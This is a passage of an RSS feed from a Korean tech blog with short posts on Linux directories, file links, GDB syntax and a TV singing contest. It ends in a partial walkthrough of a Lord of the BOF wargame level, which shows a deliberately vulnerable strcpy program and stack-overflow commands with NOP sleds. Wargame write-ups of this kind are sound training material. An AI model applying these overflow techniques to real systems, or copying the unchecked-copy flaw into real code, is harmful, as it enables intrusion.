&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;/tmp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 각 장치에 필요한 소켓, 임시파일 보관&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/usr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 시스템에 필요한 모든 명렁어, 라이브러리, 메뉴얼 페이지&lt;br /&gt;
&amp;nbsp; &amp;nbsp;　　　 &amp;nbsp; &amp;nbsp;┣ [　/usr/bin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : /bin 에 없는 명령어&lt;br /&gt;
&amp;nbsp; &amp;nbsp;　　　　&amp;nbsp;┣ [&amp;nbsp;/usr/include ] C 언어 헤더 파일들&lt;br /&gt;
&amp;nbsp; &amp;nbsp;　　　　 ┗&amp;nbsp;[　&amp;nbsp;/usr/src&amp;nbsp;　] : 컴파일 되지 않은 소스코드, 커널 소스코드 포함&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┗&amp;nbsp;[&amp;nbsp;/var ] : 가변저장 공간 - 메일서버일경우 메일저장, 시스템 로그, 네트워크 로그 저장&lt;br /&gt;
&lt;br /&gt;(5) 정적 라이브러리와 공유 라이브러리&lt;br /&gt;
[추가예정]&amp;nbsp;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-561-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-561-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-561-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19742701&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<category>리눅스 시스템 프로그래밍</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/561</guid>
			<comments>http://iyounges.org/561#entry561comment</comments>
			<pubDate>Sun, 21 Aug 2011 14:20:50 +0900</pubDate>
		</item>
		<item>
			<title>리눅스 심볼릭링크와 하드링크</title>
			<link>http://iyounges.org/560</link>
			<description>&lt;br /&gt;
리눅스에 링크는 심볼릭링크와 하드링크 두 가지가 있다.&lt;br /&gt;
먼저 심볼릭 링크는 간단하게 윈도우즈에서의 바로가기라고 생각하면 된다.&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;ln -s 원본파일이름 링크파일이름&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;&lt;div&gt;
[gate@localhost iyounges.org]$ ls&lt;/div&gt;
&lt;div&gt;iyounges&lt;/div&gt;
&lt;div&gt;[gate@localhost iyounges.org]$ ln -s iyounges&lt;font class=&quot;Apple-style-span&quot; color=&quot;#5c7fb0&quot;&gt; iyounges_&lt;/font&gt;&lt;/div&gt;
&lt;div&gt;[gate@localhost iyounges.org]$ ls -l&lt;/div&gt;
&lt;div&gt;total 0&lt;/div&gt;
&lt;div&gt;-rw-rw-r-- &amp;nbsp; &amp;nbsp;1 gate &amp;nbsp; &amp;nbsp; gate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 Aug 20 02:55 iyounges&lt;/div&gt;
&lt;div&gt;lrwxrwxrwx &amp;nbsp; &amp;nbsp;1 gate &amp;nbsp; &amp;nbsp; gate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;8 Aug 20 03:06 &lt;font class=&quot;Apple-style-span&quot; color=&quot;#5c7fb0&quot;&gt;iyounges_&lt;/font&gt; -&amp;gt; iyounges&lt;/div&gt;
&lt;br /&gt;이처럼 사용해주면 된다. 그런데 심볼릭 링크는 단지 바로가기 일뿐, 파일 안은 텅텅 비어있으며&lt;br /&gt;
심볼릭 링크가 걸어진 파일을 수정한다해도 원본파일은 수정되지 않는다.&lt;br /&gt;
그 이유는 inode 라는 고유번호를 서로 공유하지 않기 때문이다. inode 는 운영체제가 파일을 구별하기 위해 부여한것인데&lt;br /&gt;
예를 들면 고정 아이피라고 생각하면 쉽게 이해될듯 하다.&lt;br /&gt;
&lt;br /&gt;두번째, 하드링크는 심볼릭 링크와 똑같은 의미인데 단 inode 를 공유하기 때문에&lt;br /&gt;
하드링크에서 파일을 수정하면 원본 파일 또한 수정된다.&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;ln 원본파일이름 링크파일이름&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;&lt;div&gt;
[gate@localhost iyounges.org]$ ln iyounges iyounges__&lt;br /&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div&gt;[gate@localhost iyounges.org]$ ls&lt;/div&gt;
&lt;div&gt;iyounges iyounges__&lt;/div&gt;
&lt;div&gt;[gate@localhost iyounges.org]$ ls -l&lt;/div&gt;
&lt;div&gt;total 0&lt;/div&gt;
&lt;div&gt;-rw-rw-r-- &amp;nbsp; &amp;nbsp;2 gate &amp;nbsp; &amp;nbsp; gate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 Aug 20 02:55 iyounges&lt;/div&gt;
&lt;div&gt;-rw-rw-r-- &amp;nbsp; &amp;nbsp;2 gate &amp;nbsp; &amp;nbsp; gate &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 Aug 20 02:55 iyounges__&lt;/div&gt;
&lt;br /&gt;단, 주의해야할것은 원본파일이 삭제된다면 링크가 걸어진 파일은 아무 쓸모가 없으니 주의해야한다.&lt;br /&gt;
마치 윈도우즈에서 바로가기를 실행했을때 원본파일을 찾을수 없다면서 뜨는 메세지처럼 된다고 생각하면 된다.&amp;nbsp;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-560-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-560-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-560-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19741782&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/560</guid>
			<comments>http://iyounges.org/560#entry560comment</comments>
			<pubDate>Sun, 21 Aug 2011 13:26:49 +0900</pubDate>
		</item>
		<item>
			<title>리눅스 GDB 어셈블리어 AT&amp;T 문법을 intel 문법으로 바꾸는 방법 //AT&amp;T -&gt; INTEL</title>
			<link>http://iyounges.org/559</link>
			<description>&lt;br /&gt;
먼저 AT&amp;amp;T 와 INTEL 둘의 문법 차이를 설명해보자면&lt;br /&gt;
&lt;br /&gt;mov $esp, $edx // EDX 에 ESP 를 복사한다. (A&amp;lt;-B)&lt;br /&gt;
mov edx, esp // EDX 를 ESP 에 복사한다. (A-&amp;gt;B)&lt;br /&gt;
&lt;br /&gt;이 둘이 서로 같은 뜻을 의미한다. 대체적으로 intel 문법이 특수문자를 사용하지 않고&amp;nbsp;해석방법도 매우 간단하다.&lt;br /&gt;
그래서 올리디버거를 사용하는 초보자들은 GDB 로 넘어오면 어려움을 호소하는데 이를 해결하는 방법이 있다.&lt;br /&gt;
&lt;br /&gt;GDB 를 실행하고 다음과 같은 명령어를 입력한다.&lt;br /&gt;
&lt;br /&gt;(gdb) set disassembly-flavor intel&lt;br /&gt;
&lt;br /&gt;종료하고 다시 실행하면 원래 AT&amp;amp;T 문법으로 돌아오는데&lt;br /&gt;
다음 명령어를 실행하면 intel 문법으로 고정된다.&lt;br /&gt;
&lt;br /&gt;(gdb)&amp;nbsp;set disassembly-flavor intel&lt;br /&gt;
(gdb) q&lt;br /&gt;
&lt;br /&gt;$echo &quot;set disassembly-flavor intel&quot; &amp;gt; ~./gdbinit&lt;br /&gt;
$cat ~/.gdbinit&lt;br /&gt;
&lt;br /&gt;위 처럼 입력해주면 계속 intel 문법으로 확인할 수 있다.&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;br /&gt;&amp;nbsp;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-559-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-559-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-559-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19734208&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<category>GDB 디버깅</category>
			<category>리눅스</category>
			<category>어셈블리어 문법</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/559</guid>
			<comments>http://iyounges.org/559#entry559comment</comments>
			<pubDate>Sat, 20 Aug 2011 23:40:01 +0900</pubDate>
		</item>
		<item>
			<title>슈퍼스타K3 소름돋는 신지수 Rolling in the Deep 영상 /심사위원 극찬 신지수 동영상</title>
			<link>http://iyounges.org/558</link>
			<description>&lt;FONT color=#ffffff&gt;신지수 동영상, 슈퍼스타K 신지수 동영상, 신지수 Rolling in the Deep 동영상, 신지수 영상&lt;br /&gt;
&lt;/FONT&gt; 팝송 : &lt;A href=&quot;http://www.youtube.com/watch?v=rYEDA3JcQqw&amp;amp;ob=av3e&quot;&gt;http://www.youtube.com/watch?v=rYEDA3JcQqw&amp;amp;ob=av3e&lt;/A&gt;&lt;br /&gt;
&lt;br /&gt;제가 이런 풍의 노래를 좋아해서 매우 즐겨듣는 노래인데 슈퍼스타K3 를 보는데 허각 교회동생이라는 신지수라는&lt;br /&gt;
여자애가 이 노래를 부르길래 얼마나 부를까 기대되서 들어봤더니 완전 듣는데 소름이 다 돋았습니다. ;&lt;br /&gt;
윤종신은 희소가치 목소리라고 하며, 서인영, 인순이 모두 극찬을 했습니다.&lt;br /&gt;

&lt;P style=&quot;MARGIN: 0px&quot;&gt;&lt;br /&gt;
&lt;object type=&quot;application/x-shockwave-flash&quot; classid=&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&quot; codebase=&quot;http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0&quot; width=&quot;502&quot; height=&quot;399&quot;&gt;
	&lt;param name=&quot;movie&quot; value=&quot;http://flvs.daum.net/flvPlayer.swf?vid=E-GUiz5uJUo%24&amp;amp;pwidth=502&amp;amp;pheight=399&quot;/&gt;
	&lt;param name=&quot;allowScriptAccess&quot; value=&quot;always&quot;/&gt;
	&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;/&gt;
	&lt;param name=&quot;bgcolor&quot; value=&quot;#000000&quot;/&gt;
	&lt;embed src=&quot;http://flvs.daum.net/flvPlayer.swf?vid=E-GUiz5uJUo%24&amp;amp;pwidth=502&amp;amp;pheight=399&quot; width=&quot;502&quot; height=&quot;399&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; type=&quot;application/x-shockwave-flash&quot; bgcolor=&quot;#000000&quot;/&gt;
&lt;/object&gt;
&lt;br /&gt;
&lt;/P&gt;
&lt;DIV&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;SCRIPT type=text/javascript&gt;&lt;!--
google_ad_client = &quot;pub-9304767300859051&quot;;
/* Younges 본문중간 */
google_ad_slot = &quot;3780139369&quot;;
google_ad_width = 728;
google_ad_height = 90;
//--&gt;
&lt;/SCRIPT&gt;

&lt;SCRIPT type=text/javascript src=&quot;http://pagead2.googlesyndication.com/pagead/show_ads.js&quot;&gt;
&lt;/SCRIPT&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/DIV&gt;
&lt;P style=&quot;MARGIN: 0px&quot;&gt;&lt;br /&gt;
저는 1, 2화 모두 끝까지 시청하였는데 개인적으로 1화에선 손예림, 2화에서는 신지수 인것 같네요&lt;br /&gt;
진짜 다시들어봐도 소름끼치는것 같습니다.&lt;br /&gt;
&lt;br /&gt;팝송도 자기 목소리에 맞는 노래를 선정한것같고 19살인데 이렇게 잘 부른다는건....... &lt;br /&gt;
진짜 왠만한 가수들이랑 비교해도 손색이 없을거라고 생각됩니다.&lt;/P&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-558-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-558-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-558-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19723301&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>커뮤니티</category>
			<category>Rolling In The Deep</category>
			<category>슈퍼스타k3</category>
			<category>신지수</category>
			<category>커뮤니티</category>
			<category>허각</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/558</guid>
			<comments>http://iyounges.org/558#entry558comment</comments>
			<pubDate>Sat, 20 Aug 2011 11:37:05 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL9 (troll -&gt; vampire) 문제풀이</title>
			<link>http://iyounges.org/557</link>
			<description>&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
-------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;
LOB Level9 [ Troll -&amp;gt; Vampire ]&lt;/div&gt;
&lt;div&gt;
-------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost troll]$ ./vampire&lt;/div&gt;
&lt;div&gt;
argv error&lt;/div&gt;
&lt;div&gt;
[troll@localhost troll]$ ./vampire aa&lt;/div&gt;
&lt;div&gt;
stack is still your friend.&lt;/div&gt;
&lt;div&gt;
[troll@localhost troll]$ cat vampire.c&lt;/div&gt;
&lt;div&gt;
/*&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - vampire&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - check 0xbfff&lt;/div&gt;
&lt;div&gt;
*/&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc &amp;lt; 2){&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv error\n&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // here is changed!&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][46] == &#039;\xff&#039;)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;but it&#039;s not forever\n&quot;); // 이번에는 마지막 문자 전이 \xff 인지 검사합니다. 맞으면 종료된다.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
고로 이번에는 RET 의 마지막을 \xbf 라고 하고, 그 다음은 \xff 가 아닌 다른 문자열을 집어넣어야된다는 말입니다.&lt;/div&gt;
&lt;div&gt;
과연 어떤 방법을 써야할까요...? 일단 메모리 구조를 다시 한번 보겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Buffer (40Byte) | SFP (4Byte) | RET (4Byte) | Argc Argv[0] Argv[1] Argv[2] |&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
이렇게 되어있는데 저는 여태까지 Argv[2] 에 NOP 와 쉘코드를 넣어주었습니다.&lt;/div&gt;
&lt;div&gt;
그리고 Argv[1] 에서 RET 를 조작할때 Argv[2] 의 주소를 조작하였습니다. 그런데 보통 소스에서 수정해서&lt;/div&gt;
&lt;div&gt;
주소를 출력하게 해주었는데, 그게 시작주소건 어떤 주소건 만약 앞에 있는 값이 많으면 많을수록 주소는 더욱&lt;/div&gt;
&lt;div&gt;
뒤로 밀려나게될것이고 \xbf ff ** ** 뒤로도 밀려나게될것입니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
그러니깐 한 마디로 NOP 를 더 무진장 많이 넣어보자는 말입니다.&lt;/div&gt;
&lt;div&gt;
그러면 일단 사본파일에 Argv[2] 를 넣어보고 과연 얼만큼 넣어야지 주소 값이 더 크게 나올지 테스트해보겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
printf(&quot;0x%x\n&quot;, argv[2]); &amp;lt;-- 구문을 넣어 테스트해보았더니 아래와 같은 결과가 나왔습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost xodnr]$ ./vampire `python -c &#039;print &quot;\xbf&quot;*48&#039;` `python -c &#039;print &quot;\x90&quot;*30000&#039;`&lt;/div&gt;
&lt;div&gt;
0xbfff877f&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿&lt;/div&gt;
&lt;div&gt;
Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
평소에 NOP 를 30000개 씩이나 넣어줘보았습니다. 어디 한번 더 넣어볼까요?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost xodnr]$ ./vampire `python -c &#039;print &quot;\xbf&quot;*48&#039;` `python -c &#039;print &quot;\x90&quot;*50000&#039;`&lt;/div&gt;
&lt;div&gt;
0xbfff395f&lt;/div&gt;
&lt;div&gt;
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿&lt;/div&gt;
&lt;div&gt;
Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[troll@localhost xodnr]$ ./vampire `python -c &#039;print &quot;\xbf&quot;*48&#039;` `python -c &#039;print &quot;\x90&quot;*80000&#039;`&lt;/div&gt;
&lt;div&gt;
0xbffec42f&lt;/div&gt;
&lt;div&gt;
